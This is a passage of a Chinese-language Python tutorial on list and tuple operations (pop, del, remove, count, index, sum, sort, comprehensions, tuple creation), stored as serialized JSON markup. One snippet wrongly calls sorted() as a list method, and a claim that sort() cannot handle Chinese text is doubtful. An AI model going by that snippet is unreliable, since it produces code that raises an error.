输出结果为：[1,2,-3,4,5]\n",{"type":18,"tag":34,"props":97483,"children":97484},{},[97485,97490,97492,97497,97499,97504,97505,97511],{"type":18,"tag":105,"props":97486,"children":97487},{},[97488],{"type":24,"value":97489},"删除元素",{"type":24,"value":97491},"：若已知所需删除元素的索引位置，则可以",{"type":18,"tag":105,"props":97493,"children":97494},{},[97495],{"type":24,"value":97496},"根据索引进行删除",{"type":24,"value":97498},"，则可以使用",{"type":18,"tag":74,"props":97500,"children":97502},{"className":97501},[],[97503],{"type":24,"value":95109},{"type":24,"value":96082},{"type":18,"tag":74,"props":97506,"children":97508},{"className":97507},[],[97509],{"type":24,"value":97510},"pop",{"type":24,"value":97512},"方法，语法格式如下：",{"type":18,"tag":287,"props":97514,"children":97516},{"className":28710,"code":97515,"language":28712,"meta":8,"style":8},"'''列表对象.pop(索引)'''\nlistname.pop(index)\n\n'''del 列表对象[索引]'''\ndel listname[index]\n",[97517],{"type":18,"tag":74,"props":97518,"children":97519},{"__ignoreMap":8},[97520,97528,97536,97543,97551],{"type":18,"tag":297,"props":97521,"children":97522},{"class":299,"line":300},[97523],{"type":18,"tag":297,"props":97524,"children":97525},{},[97526],{"type":24,"value":97527},"'''列表对象.pop(索引)'''\n",{"type":18,"tag":297,"props":97529,"children":97530},{"class":299,"line":657},[97531],{"type":18,"tag":297,"props":97532,"children":97533},{},[97534],{"type":24,"value":97535},"listname.pop(index)\n",{"type":18,"tag":297,"props":97537,"children":97538},{"class":299,"line":662},[97539],{"type":18,"tag":297,"props":97540,"children":97541},{"emptyLinePlaceholder":793},[97542],{"type":24,"value":796},{"type":18,"tag":297,"props":97544,"children":97545},{"class":299,"line":799},[97546],{"type":18,"tag":297,"props":97547,"children":97548},{},[97549],{"type":24,"value":97550},"'''del 列表对象[索引]'''\n",{"type":18,"tag":297,"props":97552,"children":97553},{"class":299,"line":808},[97554],{"type":18,"tag":297,"props":97555,"children":97556},{},[97557],{"type":24,"value":97558},"del listname[index]\n",{"type":18,"tag":34,"props":97560,"children":97561},{},[97562,97564,97569],{"type":24,"value":97563},"若需删除元素的索引位置未知，则可以",{"type":18,"tag":105,"props":97565,"children":97566},{},[97567],{"type":24,"value":97568},"根据元素值进行删除",{"type":24,"value":97570},"，其语法格式如下：",{"type":18,"tag":287,"props":97572,"children":97574},{"className":28710,"code":97573,"language":28712,"meta":8,"style":8},"'''列表对象.remove(元素值)'''\nlistname.remove(value)\n",[97575],{"type":18,"tag":74,"props":97576,"children":97577},{"__ignoreMap":8},[97578,97586],{"type":18,"tag":297,"props":97579,"children":97580},{"class":299,"line":300},[97581],{"type":18,"tag":297,"props":97582,"children":97583},{},[97584],{"type":24,"value":97585},"'''列表对象.remove(元素值)'''\n",{"type":18,"tag":297,"props":97587,"children":97588},{"class":299,"line":657},[97589],{"type":18,"tag":297,"props":97590,"children":97591},{},[97592],{"type":24,"value":97593},"listname.remove(value)\n",{"type":18,"tag":337,"props":97595,"children":97597},{"id":97596},"对列表进行统计计算",[97598],{"type":24,"value":97596},{"type":18,"tag":34,"props":97600,"children":97601},{},[97602,97608,97610,97631,97632,97637,97639,97644],{"type":18,"tag":74,"props":97603,"children":97605},{"className":97604},[],[97606],{"type":24,"value":97607},"listname.count(obj)",{"type":24,"value":97609}," ：",{"type":18,"tag":105,"props":97611,"children":97612},{},[97613,97615,97621,97623,97629],{"type":24,"value":97614},"统计元素",{"type":18,"tag":74,"props":97616,"children":97618},{"className":97617},[],[97619],{"type":24,"value":97620},"obj",{"type":24,"value":97622},"在列表对象",{"type":18,"tag":74,"props":97624,"children":97626},{"className":97625},[],[97627],{"type":24,"value":97628},"listname",{"type":24,"value":97630},"中出现的次数",{"type":24,"value":43988},{"type":18,"tag":74,"props":97633,"children":97635},{"className":97634},[],[97636],{"type":24,"value":51323},{"type":24,"value":97638},"方法只能进行精确匹配，所以",{"type":18,"tag":74,"props":97640,"children":97642},{"className":97641},[],[97643],{"type":24,"value":97620},{"type":24,"value":97645},"不能是元素的一部分。如下示例：",{"type":18,"tag":287,"props":97647,"children":97649},{"className":28710,"code":97648,"language":28712,"meta":8,"style":8},"lis = [1,2,3,4,2,5,2,6]\nprint(lis.count(2))      # 输出结果为3\n",[97650],{"type":18,"tag":74,"props":97651,"children":97652},{"__ignoreMap":8},[97653,97661],{"type":18,"tag":297,"props":97654,"children":97655},{"class":299,"line":300},[97656],{"type":18,"tag":297,"props":97657,"children":97658},{},[97659],{"type":24,"value":97660},"lis = [1,2,3,4,2,5,2,6]\n",{"type":18,"tag":297,"props":97662,"children":97663},{"class":299,"line":657},[97664],{"type":18,"tag":297,"props":97665,"children":97666},{},[97667],{"type":24,"value":97668},"print(lis.count(2))      # 输出结果为3\n",{"type":18,"tag":34,"props":97670,"children":97671},{},[97672,97678,97679,97691],{"type":18,"tag":74,"props":97673,"children":97675},{"className":97674},[],[97676],{"type":24,"value":97677},"listname.index(obj)",{"type":24,"value":222},{"type":18,"tag":105,"props":97680,"children":97681},{},[97682,97684,97689],{"type":24,"value":97683},"查询元素obj在列表对象",{"type":18,"tag":74,"props":97685,"children":97687},{"className":97686},[],[97688],{"type":24,"value":97628},{"type":24,"value":97690},"中首次出现的位置索引",{"type":24,"value":97692},"。示例如下：",{"type":18,"tag":287,"props":97694,"children":97696},{"className":28710,"code":97695,"language":28712,"meta":8,"style":8},"lis = list(range(1,10))\nprint(lis.index(5))     # 执行结果为4\n",[97697],{"type":18,"tag":74,"props":97698,"children":97699},{"__ignoreMap":8},[97700,97708],{"type":18,"tag":297,"props":97701,"children":97702},{"class":299,"line":300},[97703],{"type":18,"tag":297,"props":97704,"children":97705},{},[97706],{"type":24,"value":97707},"lis = list(range(1,10))\n",{"type":18,"tag":297,"props":97709,"children":97710},{"class":299,"line":657},[97711],{"type":18,"tag":297,"props":97712,"children":97713},{},[97714],{"type":24,"value":97715},"print(lis.index(5))     # 执行结果为4\n",{"type":18,"tag":34,"props":97717,"children":97718},{},[97719,97720,97726],{"type":24,"value":95196},{"type":18,"tag":74,"props":97721,"children":97723},{"className":97722},[],[97724],{"type":24,"value":97725},"index(obj)",{"type":24,"value":97727},"方法查找索引时，若该元素不存在于列表，将会抛出如下异常：",{"type":18,"tag":287,"props":97729,"children":97731},{"className":289,"code":97730,"language":291,"meta":8,"style":8},"Traceback (most recent call last):\n  File \".\\test.py\", line 3, in \u003Cmodule>\n    print(lis.index(-5))\n          ~~~~~~~~~^^^^\nValueError: -5 is not in list\n",[97732],{"type":18,"tag":74,"props":97733,"children":97734},{"__ignoreMap":8},[97735,97768,97813,97844,97852],{"type":18,"tag":297,"props":97736,"children":97737},{"class":299,"line":300},[97738,97743,97748,97753,97758,97763],{"type":18,"tag":297,"props":97739,"children":97740},{"style":304},[97741],{"type":24,"value":97742},"Traceback",{"type":18,"tag":297,"props":97744,"children":97745},{"style":327},[97746],{"type":24,"value":97747}," (most ",{"type":18,"tag":297,"props":97749,"children":97750},{"style":310},[97751],{"type":24,"value":97752},"recent",{"type":18,"tag":297,"props":97754,"children":97755},{"style":310},[97756],{"type":24,"value":97757}," call",{"type":18,"tag":297,"props":97759,"children":97760},{"style":310},[97761],{"type":24,"value":97762}," last",{"type":18,"tag":297,"props":97764,"children":97765},{"style":327},[97766],{"type":24,"value":97767},"):\n",{"type":18,"tag":297,"props":97769,"children":97770},{"class":299,"line":657},[97771,97776,97781,97786,97791,97795,97799,97804,97809],{"type":18,"tag":297,"props":97772,"children":97773},{"style":304},[97774],{"type":24,"value":97775},"  File",{"type":18,"tag":297,"props":97777,"children":97778},{"style":310},[97779],{"type":24,"value":97780}," \".\\test.py\",",{"type":18,"tag":297,"props":97782,"children":97783},{"style":310},[97784],{"type":24,"value":97785}," line",{"type":18,"tag":297,"props":97787,"children":97788},{"style":310},[97789],{"type":24,"value":97790}," 3,",{"type":18,"tag":297,"props":97792,"children":97793},{"style":310},[97794],{"type":24,"value":7272},{"type":18,"tag":297,"props":97796,"children":97797},{"style":316},[97798],{"type":24,"value":25904},{"type":18,"tag":297,"props":97800,"children":97801},{"style":310},[97802],{"type":24,"value":97803},"modul",{"type":18,"tag":297,"props":97805,"children":97806},{"style":327},[97807],{"type":24,"value":97808},"e",{"type":18,"tag":297,"props":97810,"children":97811},{"style":316},[97812],{"type":24,"value":335},{"type":18,"tag":297,"props":97814,"children":97815},{"class":299,"line":662},[97816,97821,97825,97830,97834,97839],{"type":18,"tag":297,"props":97817,"children":97818},{"style":906},[97819],{"type":24,"value":97820},"    print",{"type":18,"tag":297,"props":97822,"children":97823},{"style":327},[97824],{"type":24,"value":16593},{"type":18,"tag":297,"props":97826,"children":97827},{"style":310},[97828],{"type":24,"value":97829},"lis.index",{"type":18,"tag":297,"props":97831,"children":97832},{"style":327},[97833],{"type":24,"value":16593},{"type":18,"tag":297,"props":97835,"children":97836},{"style":310},[97837],{"type":24,"value":97838},"-5",{"type":18,"tag":297,"props":97840,"children":97841},{"style":327},[97842],{"type":24,"value":97843},"))\n",{"type":18,"tag":297,"props":97845,"children":97846},{"class":299,"line":799},[97847],{"type":18,"tag":297,"props":97848,"children":97849},{"style":304},[97850],{"type":24,"value":97851},"          ~~~~~~~~~^^^^\n",{"type":18,"tag":297,"props":97853,"children":97854},{"class":299,"line":808},[97855,97860,97865,97870,97874,97878],{"type":18,"tag":297,"props":97856,"children":97857},{"style":304},[97858],{"type":24,"value":97859},"ValueError:",{"type":18,"tag":297,"props":97861,"children":97862},{"style":906},[97863],{"type":24,"value":97864}," -5",{"type":18,"tag":297,"props":97866,"children":97867},{"style":310},[97868],{"type":24,"value":97869}," is",{"type":18,"tag":297,"props":97871,"children":97872},{"style":310},[97873],{"type":24,"value":6473},{"type":18,"tag":297,"props":97875,"children":97876},{"style":310},[97877],{"type":24,"value":7272},{"type":18,"tag":297,"props":97879,"children":97880},{"style":310},[97881],{"type":24,"value":72159},{"type":18,"tag":34,"props":97883,"children":97884},{},[97885,97891,97892,97904,97906,97911,97913,97918],{"type":18,"tag":74,"props":97886,"children":97888},{"className":97887},[],[97889],{"type":24,"value":97890},"sum(listname[,start])",{"type":24,"value":222},{"type":18,"tag":105,"props":97893,"children":97894},{},[97895,97897,97902],{"type":24,"value":97896},"统计数值列表",{"type":18,"tag":74,"props":97898,"children":97900},{"className":97899},[],[97901],{"type":24,"value":97628},{"type":24,"value":97903},"的元素和",{"type":24,"value":97905},"，从",{"type":18,"tag":74,"props":97907,"children":97909},{"className":97908},[],[97910],{"type":24,"value":93649},{"type":24,"value":97912},"开始计数，",{"type":18,"tag":74,"props":97914,"children":97916},{"className":97915},[],[97917],{"type":24,"value":93649},{"type":24,"value":97919},"默认为0，示例如下：",{"type":18,"tag":287,"props":97921,"children":97923},{"className":28710,"code":97922,"language":28712,"meta":8,"style":8},"lis = [1,2,3,4,5]\nprint(sum(lis))     # 输出结果为15\nprint(sum(lis,5))   # 输出结果为20\n",[97924],{"type":18,"tag":74,"props":97925,"children":97926},{"__ignoreMap":8},[97927,97934,97942],{"type":18,"tag":297,"props":97928,"children":97929},{"class":299,"line":300},[97930],{"type":18,"tag":297,"props":97931,"children":97932},{},[97933],{"type":24,"value":92439},{"type":18,"tag":297,"props":97935,"children":97936},{"class":299,"line":657},[97937],{"type":18,"tag":297,"props":97938,"children":97939},{},[97940],{"type":24,"value":97941},"print(sum(lis))     # 输出结果为15\n",{"type":18,"tag":297,"props":97943,"children":97944},{"class":299,"line":662},[97945],{"type":18,"tag":297,"props":97946,"children":97947},{},[97948],{"type":24,"value":97949},"print(sum(lis,5))   # 输出结果为20\n",{"type":18,"tag":96,"props":97951,"children":97952},{},[97953],{"type":18,"tag":34,"props":97954,"children":97955},{},[97956,97958,97964],{"type":24,"value":97957},"这里",{"type":18,"tag":74,"props":97959,"children":97961},{"className":97960},[],[97962],{"type":24,"value":97963},"sum(lis,5)",{"type":24,"value":97965},"中的5表示它从5开始计数，等同于sum(lis)+5，而并非从第5个元素开始计数",{"type":18,"tag":337,"props":97967,"children":97969},{"id":97968},"对列表进行排序",[97970],{"type":24,"value":97968},{"type":18,"tag":34,"props":97972,"children":97973},{},[97974],{"type":24,"value":97975},"Python提供了两种对列表的排序方法：",{"type":18,"tag":210,"props":97977,"children":97978},{},[97979,97991],{"type":18,"tag":158,"props":97980,"children":97981},{},[97982,97984,97990],{"type":24,"value":97983},"使用列表对象的",{"type":18,"tag":74,"props":97985,"children":97987},{"className":97986},[],[97988],{"type":24,"value":97989},"sort()",{"type":24,"value":73171},{"type":18,"tag":158,"props":97992,"children":97993},{},[97994,97996,98002],{"type":24,"value":97995},"使用内置的",{"type":18,"tag":74,"props":97997,"children":97999},{"className":97998},[],[98000],{"type":24,"value":98001},"sorted()",{"type":24,"value":81408},{"type":18,"tag":34,"props":98004,"children":98005},{},[98006,98008,98013,98015,98020],{"type":24,"value":98007},"列表提供的",{"type":18,"tag":74,"props":98009,"children":98011},{"className":98010},[],[98012],{"type":24,"value":97989},{"type":24,"value":98014},"方法是",{"type":18,"tag":105,"props":98016,"children":98017},{},[98018],{"type":24,"value":98019},"在原列表上进行排序",{"type":24,"value":98021},"，排序后元素的顺序将发生改变，其语法格式如下：",{"type":18,"tag":287,"props":98023,"children":98025},{"className":28710,"code":98024,"language":28712,"meta":8,"style":8},"listname.sort(key=None, reverse=False)\n\"\"\"\nlsitname：需要排序的列表名称\nkey：（可选参数）表示指定一个从每个列表元素中提取一个比较键\nreverse：（可选参数）True表示降序，False表示升序，默认为升序排序\n\"\"\"\n",[98026],{"type":18,"tag":74,"props":98027,"children":98028},{"__ignoreMap":8},[98029,98037,98044,98052,98060,98068],{"type":18,"tag":297,"props":98030,"children":98031},{"class":299,"line":300},[98032],{"type":18,"tag":297,"props":98033,"children":98034},{},[98035],{"type":24,"value":98036},"listname.sort(key=None, reverse=False)\n",{"type":18,"tag":297,"props":98038,"children":98039},{"class":299,"line":657},[98040],{"type":18,"tag":297,"props":98041,"children":98042},{},[98043],{"type":24,"value":64687},{"type":18,"tag":297,"props":98045,"children":98046},{"class":299,"line":662},[98047],{"type":18,"tag":297,"props":98048,"children":98049},{},[98050],{"type":24,"value":98051},"lsitname：需要排序的列表名称\n",{"type":18,"tag":297,"props":98053,"children":98054},{"class":299,"line":799},[98055],{"type":18,"tag":297,"props":98056,"children":98057},{},[98058],{"type":24,"value":98059},"key：（可选参数）表示指定一个从每个列表元素中提取一个比较键\n",{"type":18,"tag":297,"props":98061,"children":98062},{"class":299,"line":808},[98063],{"type":18,"tag":297,"props":98064,"children":98065},{},[98066],{"type":24,"value":98067},"reverse：（可选参数）True表示降序，False表示升序，默认为升序排序\n",{"type":18,"tag":297,"props":98069,"children":98070},{"class":299,"line":817},[98071],{"type":18,"tag":297,"props":98072,"children":98073},{},[98074],{"type":24,"value":64687},{"type":18,"tag":96,"props":98076,"children":98077},{},[98078],{"type":18,"tag":2577,"props":98079,"children":98080},{"color":2579},[98081],{"type":24,"value":98082},"\n注意： 若列表中存在中文，则不能直接使用sort方法\n",{"type":18,"tag":34,"props":98084,"children":98085},{},[98086,98088,98093,98095,98100,98102,98107],{"type":24,"value":98087},"Python提供的内置的",{"type":18,"tag":74,"props":98089,"children":98091},{"className":98090},[],[98092],{"type":24,"value":98001},{"type":24,"value":98094},"函数也可以实现排序，但是",{"type":18,"tag":74,"props":98096,"children":98098},{"className":98097},[],[98099],{"type":24,"value":98001},{"type":24,"value":98101},"方法不修改源列表的排序，它会",{"type":18,"tag":105,"props":98103,"children":98104},{},[98105],{"type":24,"value":98106},"建立一个副本进行排序",{"type":24,"value":98108},"，所以排序后用一个变量来接收副本。语法如下：",{"type":18,"tag":287,"props":98110,"children":98112},{"className":28710,"code":98111,"language":28712,"meta":8,"style":8},"sort_name = listname.sorted(key=None, reverse=False)\nprint(sort_name)\n\"\"\"\nlistname：需要排序的列表名称\nsort_name：接收排序后的副本的列表名\nkey：（可选参数）表示指定一个从每个列表元素中提取一个比较键\nreverse：（可选参数）True表示降序，False表示升序，默认为升序排序\n\"\"\"\n",[98113],{"type":18,"tag":74,"props":98114,"children":98115},{"__ignoreMap":8},[98116,98124,98132,98139,98147,98155,98162,98169],{"type":18,"tag":297,"props":98117,"children":98118},{"class":299,"line":300},[98119],{"type":18,"tag":297,"props":98120,"children":98121},{},[98122],{"type":24,"value":98123},"sort_name = listname.sorted(key=None, reverse=False)\n",{"type":18,"tag":297,"props":98125,"children":98126},{"class":299,"line":657},[98127],{"type":18,"tag":297,"props":98128,"children":98129},{},[98130],{"type":24,"value":98131},"print(sort_name)\n",{"type":18,"tag":297,"props":98133,"children":98134},{"class":299,"line":662},[98135],{"type":18,"tag":297,"props":98136,"children":98137},{},[98138],{"type":24,"value":64687},{"type":18,"tag":297,"props":98140,"children":98141},{"class":299,"line":799},[98142],{"type":18,"tag":297,"props":98143,"children":98144},{},[98145],{"type":24,"value":98146},"listname：需要排序的列表名称\n",{"type":18,"tag":297,"props":98148,"children":98149},{"class":299,"line":808},[98150],{"type":18,"tag":297,"props":98151,"children":98152},{},[98153],{"type":24,"value":98154},"sort_name：接收排序后的副本的列表名\n",{"type":18,"tag":297,"props":98156,"children":98157},{"class":299,"line":817},[98158],{"type":18,"tag":297,"props":98159,"children":98160},{},[98161],{"type":24,"value":98059},{"type":18,"tag":297,"props":98163,"children":98164},{"class":299,"line":826},[98165],{"type":18,"tag":297,"props":98166,"children":98167},{},[98168],{"type":24,"value":98067},{"type":18,"tag":297,"props":98170,"children":98171},{"class":299,"line":4524},[98172],{"type":18,"tag":297,"props":98173,"children":98174},{},[98175],{"type":24,"value":64687},{"type":18,"tag":337,"props":98177,"children":98179},{"id":98178},"列表推导式",[98180],{"type":24,"value":98178},{"type":18,"tag":34,"props":98182,"children":98183},{},[98184],{"type":24,"value":98185},"生成指定范围的数值列表，语法格式如下：",{"type":18,"tag":287,"props":98187,"children":98189},{"className":28710,"code":98188,"language":28712,"meta":8,"style":8},"'''列表名 = [表达式 for 循环变量 in range(起始值,截止值,步长)]'''\nlistname = [expression for var in range(start,end,step)]\n",[98190],{"type":18,"tag":74,"props":98191,"children":98192},{"__ignoreMap":8},[98193,98201],{"type":18,"tag":297,"props":98194,"children":98195},{"class":299,"line":300},[98196],{"type":18,"tag":297,"props":98197,"children":98198},{},[98199],{"type":24,"value":98200},"'''列表名 = [表达式 for 循环变量 in range(起始值,截止值,步长)]'''\n",{"type":18,"tag":297,"props":98202,"children":98203},{"class":299,"line":657},[98204],{"type":18,"tag":297,"props":98205,"children":98206},{},[98207],{"type":24,"value":98208},"listname = [expression for var in range(start,end,step)]\n",{"type":18,"tag":34,"props":98210,"children":98211},{},[98212],{"type":24,"value":98213},"根据列表生成指定需求的列表，语法格式如下：",{"type":18,"tag":287,"props":98215,"children":98217},{"className":28710,"code":98216,"language":28712,"meta":8,"style":8},"'''新列表名 = [表达式 for 循环变量 in 旧列表名]'''\nnewlist = [expression for var in oldlist]\n",[98218],{"type":18,"tag":74,"props":98219,"children":98220},{"__ignoreMap":8},[98221,98229],{"type":18,"tag":297,"props":98222,"children":98223},{"class":299,"line":300},[98224],{"type":18,"tag":297,"props":98225,"children":98226},{},[98227],{"type":24,"value":98228},"'''新列表名 = [表达式 for 循环变量 in 旧列表名]'''\n",{"type":18,"tag":297,"props":98230,"children":98231},{"class":299,"line":657},[98232],{"type":18,"tag":297,"props":98233,"children":98234},{},[98235],{"type":24,"value":98236},"newlist = [expression for var in oldlist]\n",{"type":18,"tag":34,"props":98238,"children":98239},{},[98240],{"type":24,"value":98241},"从列表中选择符合条件的元素组成新的列表，语法格式如下：",{"type":18,"tag":287,"props":98243,"children":98245},{"className":28710,"code":98244,"language":28712,"meta":8,"style":8},"'''新列表名 = [表达式 for 循环变量 in 旧列表名 if 条件]'''\nnewlist = [expression for var in oldlist if condition]\n",[98246],{"type":18,"tag":74,"props":98247,"children":98248},{"__ignoreMap":8},[98249,98257],{"type":18,"tag":297,"props":98250,"children":98251},{"class":299,"line":300},[98252],{"type":18,"tag":297,"props":98253,"children":98254},{},[98255],{"type":24,"value":98256},"'''新列表名 = [表达式 for 循环变量 in 旧列表名 if 条件]'''\n",{"type":18,"tag":297,"props":98258,"children":98259},{"class":299,"line":657},[98260],{"type":18,"tag":297,"props":98261,"children":98262},{},[98263],{"type":24,"value":98264},"newlist = [expression for var in oldlist if condition]\n",{"type":18,"tag":27,"props":98266,"children":98268},{"id":98267},"元组tuple",[98269],{"type":24,"value":98270},"元组（tuple）",{"type":18,"tag":34,"props":98272,"children":98273},{},[98274,98276,98281],{"type":24,"value":98275},"元组的所有元素都放在一对“()”中，两个相邻元素之间以",{"type":18,"tag":74,"props":98277,"children":98279},{"className":98278},[],[98280],{"type":24,"value":17444},{"type":24,"value":98282},"间隔。元组用于保存程序中不可修改的内容。",{"type":18,"tag":96,"props":98284,"children":98285},{},[98286],{"type":18,"tag":34,"props":98287,"children":98288},{},[98289],{"type":24,"value":98290},"元组是不可变序列，而列表是可变序列，元组中的元素不可以单独修改，而列表则可以任意修改。",{"type":18,"tag":337,"props":98292,"children":98294},{"id":98293},"元组的创建与删除",[98295],{"type":24,"value":98293},{"type":18,"tag":34,"props":98297,"children":98298},{},[98299,98300,98305,98306,98311],{"type":24,"value":48882},{"type":18,"tag":105,"props":98301,"children":98302},{},[98303],{"type":24,"value":98304},"赋值运算符直接创建元组",{"type":24,"value":57864},{"type":18,"tag":74,"props":98307,"children":98309},{"className":98308},[],[98310],{"type":24,"value":9692},{"type":24,"value":98312},"直接将元组赋值给变量，语法格式如下：",{"type":18,"tag":287,"props":98314,"children":98316},{"className":28710,"code":98315,"language":28712,"meta":8,"style":8},"tuplename = (element_1, element_2, element_3,...,element_n)\n# \"()\" 并非必需，可以将其省略。如下：\ntuplename = element_1, element_2, element_3,...,element_n\n",[98317],{"type":18,"tag":74,"props":98318,"children":98319},{"__ignoreMap":8},[98320,98328,98336],{"type":18,"tag":297,"props":98321,"children":98322},{"class":299,"line":300},[98323],{"type":18,"tag":297,"props":98324,"children":98325},{},[98326],{"type":24,"value":98327},"tuplename = (element_1, element_2, element_3,...,element_n)\n",{"type":18,"tag":297,"props":98329,"children":98330},{"class":299,"line":657},[98331],{"type":18,"tag":297,"props":98332,"children":98333},{},[98334],{"type":24,"value":98335},"# \"()\" 并非必需，可以将其省略。如下：\n",{"type":18,"tag":297,"props":98337,"children":98338},{"class":299,"line":662},[98339],{"type":18,"tag":297,"props":98340,"children":98341},{},[98342],{"type":24,"value":98343},"tuplename = element_1, element_2, element_3,...,element_n\n",{"type":18,"tag":2577,"props":98345,"children":98346},{"color":2579},[98347],{"type":24,"value":98348},"\n注意：若要创建的元组只包含一个元素，则需要在定义元组时，在元素后面添加一个逗号\n",{"type":18,"tag":287,"props":98350,"children":98352},{"className":28710,"code":98351,"language":28712,"meta":8,"style":8},"verse_1 = (\"2408\",)\nverse_2 = (\"2408\")\nprint(\"verse_1的类型为：\",type(verse_1))\nprint(\"verse_2的类型为：\",type(verse_2))\n\"\"\"\n输出结果为：\nverse_1的类型为：\u003Cclass 'tuple'>\nverse_2的类型为：\u003Cclass 'str'>\n\"\"\"\n",[98353],{"type":18,"tag":74,"props":98354,"children":98355},{"__ignoreMap":8},[98356,98364,98372,98380,98388,98395,98403,98411,98419],{"type":18,"tag":297,"props":98357,"children":98358},{"class":299,"line":300},[98359],{"type":18,"tag":297,"props":98360,"children":98361},{},[98362],{"type":24,"value":98363},"verse_1 = (\"2408\",)\n",{"type":18,"tag":297,"props":98365,"children":98366},{"class":299,"line":657},[98367],{"type":18,"tag":297,"props":98368,"children":98369},{},[98370],{"type":24,"value":98371},"verse_2 = (\"2408\")\n",{"type":18,"tag":297,"props":98373,"children":98374},{"class":299,"line":662},[98375],{"type":18,"tag":297,"props":98376,"children":98377},{},[98378],{"type":24,"value":98379},"print(\"verse_1的类型为：\",type(verse_1))\n",{"type":18,"tag":297,"props":98381,"children":98382},{"class":299,"line":799},[98383],{"type":18,"tag":297,"props":98384,"children":98385},{},[98386],{"type":24,"value":98387},"print(\"verse_2的类型为：\",type(verse_2))\n",{"type":18,"tag":297,"props":98389,"children":98390},{"class":299,"line":808},[98391],{"type":18,"tag":297,"props":98392,"children":98393},{},[98394],{"type":24,"value":64687},{"type":18,"tag":297,"props":98396,"children":98397},{"class":299,"line":817},[98398],{"type":18,"tag":297,"props":98399,"children":98400},{},[98401],{"type":24,"value":98402},"输出结果为：\n",{"type":18,"tag":297,"props":98404,"children":98405},{"class":299,"line":826},[98406],{"type":18,"tag":297,"props":98407,"children":98408},{},[98409],{"type":24,"value":98410},"verse_1的类型为：\u003Cclass 'tuple'>\n",{"type":18,"tag":297,"props":98412,"children":98413},{"class":299,"line":4524},[98414],{"type":18,"tag":297,"props":98415,"children":98416},{},[98417],{"type":24,"value":98418},"verse_2的类型为：\u003Cclass 'str'>\n",{"type":18,"tag":297,"props":98420,"children":98421},{"class":299,"line":4533},[98422],{"type":18,"tag":297,"props":98423,"children":98424},{},[98425],{"type":24,"value":64687},{"type":18,"tag":34,"props":98427,"children":98428},{},[98429,98434],{"type":18,"tag":105,"props":98430,"children":98431},{},[98432],{"type":24,"value":98433},"创建空元组",{"type":24,"value":98435},"存在两种方式，如下所示：",{"type":18,"tag":287,"props":98437,"children":98439},{"className":28710,"code":98438,"language":28712,"meta":8,"style":8},"tuple_1 = ()\ntuple_2 = tuple()\n",[98440],{"type":18,"tag":74,"props":98441,"children":98442},{"__ignoreMap":8},[98443,98451],{"type":18,"tag":297,"props":98444,"children":98445},{"class":299,"line":300},[98446],{"type":18,"tag":297,"props":98447,"children":98448},{},[98449],{"type":24,"value":98450},"tuple_1 = ()\n",{"type":18,"tag":297,"props":98452,"children":98453},{"class":299,"line":657},[98454],{"type":18,"tag":297,"props":98455,"children":98456},{},[98457],{"type":24,"value":98458},"tuple_2 = tuple()\n",{"type":18,"tag":34,"props":98460,"children":98461},{},[98462,98467,98468,98474,98475,98480],{"type":18,"tag":105,"props":98463,"children":98464},{},[98465],{"type":24,"value":98466},"创建数值元组",{"type":24,"value":97043},{"type":18,"tag":74,"props":98469,"children":98471},{"className":98470},[],[98472],{"type":24,"value":98473},"tuple",{"type":24,"value":97051},{"type":18,"tag":74,"props":98476,"children":98478},{"className":98477},[],[98479],{"type":24,"value":97057},{"type":24,"value":98481},"函数循环出来的结果转为元组。例如：创建一个10-20的所有偶数的元组，代码如下：",{"type":18,"tag":287,"props":98483,"children":98485},{"className":28710,"code":98484,"language":28712,"meta":8,"style":8},"tuplename= tuple(range(10,21,2))\nprint(tuplename)\n'''代码运行结果为：(10, 12, 14, 16, 18, 20)'''\n",[98486],{"type":18,"tag":74,"props":98487,"children":98488},{"__ignoreMap":8},[98489,98497,98505],{"type":18,"tag":297,"props":98490,"children":98491},{"class":299,"line":300},[98492],{"type":18,"tag":297,"props":98493,"children":98494},{},[98495],{"type":24,"value":98496},"tuplename= tuple(range(10,21,2))\n",{"type":18,"tag":297,"props":98498,"children":98499},{"class":299,"line":657},[98500],{"type":18,"tag":297,"props":98501,"children":98502},{},[98503],{"type":24,"value":98504},"print(tuplename)\n",{"type":18,"tag":297,"props":98506,"children":98507},{"class":299,"line":662},[98508],{"type":18,"tag":297,"props":98509,"children":98510},{},[98511],{"type":24,"value":98512},"'''代码运行结果为：(10, 12, 14, 16, 18, 20)'''\n",{"type":18,"tag":34,"props":98514,"children":98515},{},[98516,98521,98522,98528],{"type":18,"tag":105,"props":98517,"children":98518},{},[98519],{"type":24,"value":98520},"删除元组",{"type":24,"value":97100},{"type":18,"tag":74,"props":98523,"children":98525},{"className":98524},[],[98526],{"type":24,"value":98527},"del tuplename",{"type":24,"value":98529},"删除元组。",{"type":18,"tag":96,"props":98531,"children":98532},{},[98533],{"type":18,"tag":34,"props":98534,"children":98535},{},[98536],{"type":24,"value":98537},"Python自带垃圾回收机制，会自动销毁不用的元组，所以即使不用del删除，它也会自动回收它们",{"type":18,"tag":337,"props":98539,"children":98541},{"id":98540},"访问元组元素",[98542],{"type":24,"value":98540},{"type":18,"tag":34,"props":98544,"children":98545},{},[98546,98548,98553],{"type":24,"value":98547},"若要输出元组的内容，直接使用",{"type":18,"tag":74,"props":98549,"children":98551},{"className":98550},[],[98552],{"type":24,"value":34598},{"type":24,"value":81408},{"type":18,"tag":287,"props":98555,"children":98557},{"className":28710,"code":98556,"language":28712,"meta":8,"style":8},"print(tuplename)   # tuplename 为元组名\n",[98558],{"type":18,"tag":74,"props":98559,"children":98560},{"__ignoreMap":8},[98561],{"type":18,"tag":297,"props":98562,"children":98563},{"class":299,"line":300},[98564],{"type":18,"tag":297,"props":98565,"children":98566},{},[98567],{"type":24,"value":98556},{"type":18,"tag":34,"props":98569,"children":98570},{},[98571],{"type":24,"value":98572},"也可以通过元组的索引获取指定的元素，例如：",{"type":18,"tag":287,"props":98574,"children":98576},{"className":28710,"code":98575,"language":28712,"meta":8,"style":8},"tuplename = (10,20,30,40,50)\nprint(tuplename[3])   # 输出结果为 40\n",[98577],{"type":18,"tag":74,"props":98578,"children":98579},{"__ignoreMap":8},[98580,98588],{"type":18,"tag":297,"props":98581,"children":98582},{"class":299,"line":300},[98583],{"type":18,"tag":297,"props":98584,"children":98585},{},[98586],{"type":24,"value":98587},"tuplename = (10,20,30,40,50)\n",{"type":18,"tag":297,"props":98589,"children":98590},{"class":299,"line":657},[98591],{"type":18,"tag":297,"props":98592,"children":98593},{},[98594],{"type":24,"value":98595},"print(tuplename[3])   # 输出结果为 